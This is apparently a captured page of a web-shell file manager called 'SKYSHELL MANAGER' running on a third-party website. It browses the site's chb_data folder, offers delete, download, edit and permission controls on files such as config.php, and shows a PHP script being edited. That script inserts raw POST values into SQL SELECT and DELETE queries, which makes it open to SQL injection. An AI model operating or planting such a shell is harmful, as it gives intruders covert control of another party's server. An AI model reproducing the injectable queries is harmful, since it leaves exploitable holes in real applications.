📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
5062.34 KB
0644
🗑️
⬇️
✏️
🔒
Editing: deletevariation.php
<?php include "config/admin_checker1.php"; //action.php if(isset($_POST["action"])){ $group=$_POST["action"]; $var=$_POST["image_id"]; $sql = "SELECT * from variation WHERE s='$var' "; $sql2 = mysqli_query($con,$sql); while($row = mysqli_fetch_array($sql2)) { $color=$row['color']; } //$del = mysqli_query($con,"DELETE from variation where s='$var'") or die ('Could not connect: ' .mysqli_error($con)); $del = mysqli_query($con,"DELETE from variation where group_id='$group' AND color='$color'") or die ('Could not connect: ' .mysqli_error($con)); echo 'Variation Deleted Successfully'; } ?>
💾 Save Changes